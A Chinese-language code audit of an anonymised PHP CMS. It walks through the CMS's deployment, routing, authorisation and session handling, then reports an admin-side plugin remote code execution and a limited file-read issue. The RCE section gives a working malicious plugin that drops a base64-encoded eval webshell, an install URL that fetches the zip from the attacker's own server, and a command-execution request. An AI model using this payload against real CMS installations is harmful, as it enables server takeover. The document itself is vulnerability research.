某PHPCMS代码审计
项目介绍
该CMS兼容PHP5.6-PHP7,可使用 MySQL 或 PostgreSQL ,使用了Pimple依赖注入容器去实现存储各种服务和对象的实例,例如控制器的注册和管理,中间件的注册。
功能特性:
- 简洁、美观的界面
- 支持多主题
- 可视化的任务管理
- 支持列表、看板和甘特图等任务视图
- 可拖拽式的任务操作
- 支持多语言,内置英文和简体中文语言包
- 过滤搜索
- 可创建团队项目和个人项目
- 支持任务、子任务、附件和评论
- 动作自动触发
- 可视化的统计
- 第三方集成
- 支持插件
部署
一. 设置配置文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
APP_ENV=production
APP_DEBUG=true
APP_KEY=SomeRandomString
APP_TIMEZONE=Asia/Shanghai
APP_LOCALE=zh-CN
APP_THEME=black
APP_LOG=daily
APP_LOG_LEVEL=error
APP_URL=http://localhost
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=xxx
DB_USERNAME=root
DB_PASSWORD=123456
|
二. 安装依赖包
先把composer.json的49行开始的改成这样
1
2
3
4
5
6
7
8
9
10
11
12
13
|
"autoload" : {
"classmap" : ["app/"],
"psr-4" : {
"cmsname\\" : "app/",
"PicoDb\\": "vendor/cmsname/picodb/src/",
"SimpleLogger\\":"vendor/cmsname/simple-logger/src",
"JsonRPC\\":"vendor/cmsname/json-rpc/src",
"SimpleValidator\\":"vendor/cmsname/simple-validator/src"
},
"files" : [
"app/helpers.php"
]
},
|
不然后面就会加载不出UrlParser类,上nginx的时候会找不到SimpleLogger和JsonRPC还有Validator
出现如下找不到对应类的报错
1
2
3
4
5
6
7
8
9
10
|
Phinx by Rob Morgan - https://phinx.org. 0.6.6
using config file ./phinx.php
PHP Fatal error: Uncaught Error: Class 'PicoDb\UrlParser' not found in /var/www/cmsname/bootstrap/autoload.php:17
Stack trace:
#0 /var/www/cmsname/phinx.php(18): require()
#1 /var/www/cmsname/vendor/robmorgan/phinx/src/Phinx/Config/Config.php(111): include('/var/www/cmsname...')
#2 /var/www/cmsname/vendor/robmorgan/phinx/src/Phinx/Console/Command/AbstractCommand.php(248): Phinx\Config\Config::fromPhp('/var/www/cms...')
#3 /var/www/cmsname/vendor/robmorgan/phinx/src/Phinx/Console/Command/AbstractCommand.php(92): Phinx\Console\Command\AbstractCommand->loadConfig(Object(Symfony\Component\Console\Input\ArgvInput), Object(Symfony\Component\Console\Output\ConsoleOutput))
#4 /var/www/cmsname/vendor/robmorgan/phinx/src/Phinx/Console/Command/Migrate.php(72): Phinx\Console\Command\AbstractCommand->bootstrap(Object(Symfony\Component\Console\Input\ArgvInput), Object(Symfony\Component\Console\Output\ConsoleOutput))
#5 /var/www/cmsname/vendor/symfony/console/Command/Command.php(251): Phinx\Console\Command\Migrate->execute(Object(Symfony\ in /var/www/cmsname/bootstrap/autoload.php on line 17
|
之后 composer install
这里在win可能会出现错误,可选择在linux环境下载依赖,再把/vendor复制过来
三. 安装数据库迁移和初始数据
1
|
vendor/bin/phinx migrate
|
1
|
vendor/bin/phinx seed:run
|
四. 确保bootstrap/cache和storage目录可写。
1
2
|
$ chmod -R 0777 bootstrap/cache
$ chmod -R 0777 storage
|
五. 配置Web服务器
将Web服务器的根目录指向 public/
路由转发
- 启动时bootstrap/app.php里面调用Container.php的
register(ServiceProviderInterface $provider, array $values = array())去加载各种服务

-
ServiceProviderInterface接口的路由部分被RouteServiceProvider实现,我们主要关注这个路由的ServiceProvider
-
RouteServiceProvider类实现了 ServiceProviderInterface 接口,负责将路由相关的服务注册到容器中。
-
通过register()方法,将 Route 和 Router 注册到 Pimple 容器中,遍历加载routes目录下面的路由表。


- 因为
$controller === '',进到findRoute(),也就是之前被注册的Route类里面,然后去解析出来controller,action,plugin。


- 回到
Application.php,执行executeMiddleware()加载中间件,执行executeController()加载控制器,

- 调用
$controllerObject->{$this->router->getAction()}(); (调了在Router.php里面的方法)执行具体的控制器动作。

其实就是executeMiddleware一个反射,先$controllerObject = new controller(),再$controllerObject->{$this->router->getAction()}()
鉴权分析
Foundation/Security/Role.php里面划分了权限等级
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
class Role
{
const APP_ADMIN = 'app-admin';
const APP_MANAGER = 'app-manager';
const APP_USER = 'app-user';
const APP_PUBLIC = 'app-public';
const PROJECT_MANAGER = 'project-manager';
const PROJECT_MEMBER = 'project-member';
const PROJECT_VIEWER = 'project-viewer';
/**
* Get application roles.
*
* @return array
*/
public function getApplicationRoles()
{
return [
self::APP_ADMIN => t('Administrator'),
self::APP_MANAGER => t('Manager'),
self::APP_USER => t('User'),
];
}
/**
* Get project roles.
*
* @return array
*/
public function getProjectRoles()
{
return [
self::PROJECT_MANAGER => t('Project Manager'),
self::PROJECT_MEMBER => t('Project Member'),
self::PROJECT_VIEWER => t('Project Viewer'),
];
}
}
|
鉴权的服务也是像上面关于路由转发的流程一样,往容器里面注册一个AuthServiceProvider(鉴权部分先注册)

然后在getProjectAccessMap()里依据上面划分的权限,分配了各个Controller的权限

在访问login路由时,由app/Http/Controllers/Auth/AuthController.php实现鉴权,会进到login方法

登陆时会进到login下面的check方法

cookie的部分是app/Foundation/Session/SessionManager.php,生成JM_SID,app/Foundation/Http/RememberMeCookie.php,生成JM_RM

漏洞挖掘
后台漏洞-插件RCE
访问路由时,index.php会require bootstrap/app.php,类似java的SPI会调用各个Provider的register。

PluginServiceProvider会扫描插件

scan()方法扫描plugins目录下有无目录,有的话先执行loadSchema。
hasSchema()->getSchemaFilename()去找/pluginName/Schema/mysql.php,取决于使用哪种数据库
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
public function loadSchema($pluginName)
{
if (SchemaHandler::hasSchema($pluginName)) {
$schemaHandler = new SchemaHandler($this->container);
$schemaHandler->loadSchema($pluginName);
}
}
public static function hasSchema($pluginName)
{
return file_exists(self::getSchemaFilename($pluginName));
}
public static function getSchemaFilename($pluginName)
{
return PLUGINS_DIR.'/'.$pluginName.'/Schema/'.ucfirst(DB_DRIVER).'.php';
}
|
如果找到的话就loadSchema()去require
1
2
3
4
5
|
public function loadSchema($pluginName)
{
require_once self::getSchemaFilename($pluginName);
$this->migrateSchema($pluginName);
}
|
根据上述流程做一个压缩包test.zip,结构为test/Schema/mysql.php

mysql.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
file_put_contents("webshell.php",base64_decode("PD9waHAgQGV2YWwoJF9HRVRbMV0pOw=="));
if(file_exists("../plugins/ABC")){
deldir("../plugins/ABC");
}
function deldir($dir) {
//先删除目录下的文件:
$dh=opendir($dir);
while ($file=readdir($dh)) {
if($file!="." && $file!="..") {
$fullpath=$dir."/".$file;
if(!is_dir($fullpath)) {
unlink($fullpath);
} else {
deldir($fullpath);
}
}
}
closedir($dh);
//删除当前文件夹:
if(rmdir($dir)) {
return true;
} else {
return false;
}
}
|
在app/Http/Controllers/Admin/PluginController.php里面,archive_url可控,按照之前对于路由的分析,action=install即可触发,路由为Admin/PluginController
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
public function install()
{
$pluginArchiveUrl = urldecode($this->request->getStringParam('archive_url'));
try {
$installer = new Installer($this->container);
$installer->install($pluginArchiveUrl);
$this->flash->success(t('Plugin installed successfully.'));
} catch (PluginInstallerException $e) {
$this->flash->failure($e->getMessage());
}
$this->response->redirect($this->helper->url->to('Admin/PluginController', 'show'));
}
|
把压缩包挂在自己vps上,admin登陆后访问http://127.0.0.1/?controller=Admin/PluginController&action=install&archive_url=http://yourIP:port/test.zip去触发下载插件
完成RCEhttp://127.0.0.1/webshell.php?1=system(%22whoami%22);

潜在危害
任意文件读取 filename部分可控。前缀不可控。
http://127.0.0.1/?controller=Profile/AvatarController&action=image&user_id=1&size=123
这个只能实现读取admin头像
1
2
3
4
5
|
$filename = $this->path.DIRECTORY_SEPARATOR.$key;
if (!file_exists($filename)) {
throw new ObjectStorageException('File not found: '.$filename);
}
return file_get_contents($filename);
|
filename从数据库里取,上传头像那里路径完全不可控,avator难以利用。如果找到一个sql注入,修改user里的avator地址那么就可以实现读取任意文件。